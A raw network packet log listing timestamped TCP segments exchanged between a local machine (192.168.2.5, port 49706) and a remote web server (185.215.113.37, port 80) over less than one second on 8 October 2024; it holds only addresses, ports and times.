Oct 8, 2024 05:27:18.181077957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.181092024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.181092024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.181109905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.181159019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.181159019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.181162119 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.181194067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.181226969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.181242943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.181242943 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.181260109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.181299925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.181308985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.181308985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.181700945 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.227864027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.232686996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446398973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446440935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446496010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446496010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446510077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446542978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446594000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446594000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446597099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446651936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446685076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446700096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446700096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446732044 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446738958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446790934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446825981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446839094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446839094 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446855068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446899891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446899891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.446913004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446965933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.446995020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447012901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447012901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447026968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447067022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447072983 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447072983 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447096109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447128057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447140932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447140932 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447165012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447196960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447211027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447211027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447248936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447297096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447297096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447299004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447335005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447366953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447381020 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447381020 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447431087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447447062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447477102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447523117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447523117 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447530985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447582006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447609901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447629929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447629929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447662115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447709084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447709084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447712898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447762966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447797060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447812080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447812080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447830915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447864056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447879076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447879076 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447891951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447941065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447940111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.447941065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.447994947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448028088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448041916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448041916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448079109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448112011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448112965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448147058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448162079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448162079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448180914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448213100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448225975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448226929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448241949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448273897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448288918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448288918 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448324919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448371887 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448371887 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448374987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448409081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448453903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448455095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448457956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448508024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448512077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448540926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448581934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448581934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448590040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448642969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448645115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448690891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448738098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448738098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448740959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448795080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448843002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448843002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448848009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448898077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448906898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448946953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.448993921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448993921 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.448997974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449032068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449059010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449064970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449099064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449110031 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449110031 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449131966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449165106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449178934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449178934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449198008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449232101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449249983 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449249983 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449259043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449291945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449306011 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449306011 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449326992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449358940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449381113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449381113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449392080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449425936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449431896 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449460030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449475050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449475050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449497938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449521065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449532986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449561119 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449585915 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449585915 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449594021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449628115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449660063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449660063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449695110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449727058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449728012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449728012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449764013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449778080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449796915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449825048 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449830055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449862957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449889898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449889898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449897051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449929953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449944973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449944973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449964046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.449982882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.449996948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450031996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450047016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450047016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450063944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450195074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450217962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450217962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450227022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450242996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450262070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450289965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450319052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450319052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450323105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450356007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450370073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450370073 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450390100 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450423002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450437069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450437069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450457096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450490952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450505972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450505972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450524092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450560093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450582981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450582981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450592041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450625896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450639963 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450639963 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450659037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450691938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450706005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450706005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450726032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450758934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450773954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450773954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450792074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450825930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450839996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450839996 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450859070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450891018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450908899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450908899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450920105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450952053 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.450965881 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450965881 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.450985909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451018095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451033115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451033115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451051950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451083899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451102018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451102018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451116085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451148033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451167107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451167107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451183081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451210976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451230049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451230049 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451241970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451276064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451293945 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451293945 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451308966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451344013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451354980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451354980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451401949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.451406002 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.451860905 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535316944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535341024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535356045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535372019 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535403013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535423994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535449028 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535465002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535480022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535491943 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535501957 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535501957 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535501957 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535501957 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535521030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535528898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535547972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535569906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535586119 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535600901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535600901 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535600901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535629034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535643101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535659075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535672903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535672903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535677910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535693884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535701036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535710096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535725117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535741091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535754919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535762072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535762072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535772085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535787106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535800934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535815954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535830975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535830975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535830975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535846949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535862923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535876036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535883904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535883904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535891056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535907984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535923958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535940886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535954952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535970926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.535970926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.535970926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.536026955 CEST	49706	80	192.168.2.5	185.215.113.37
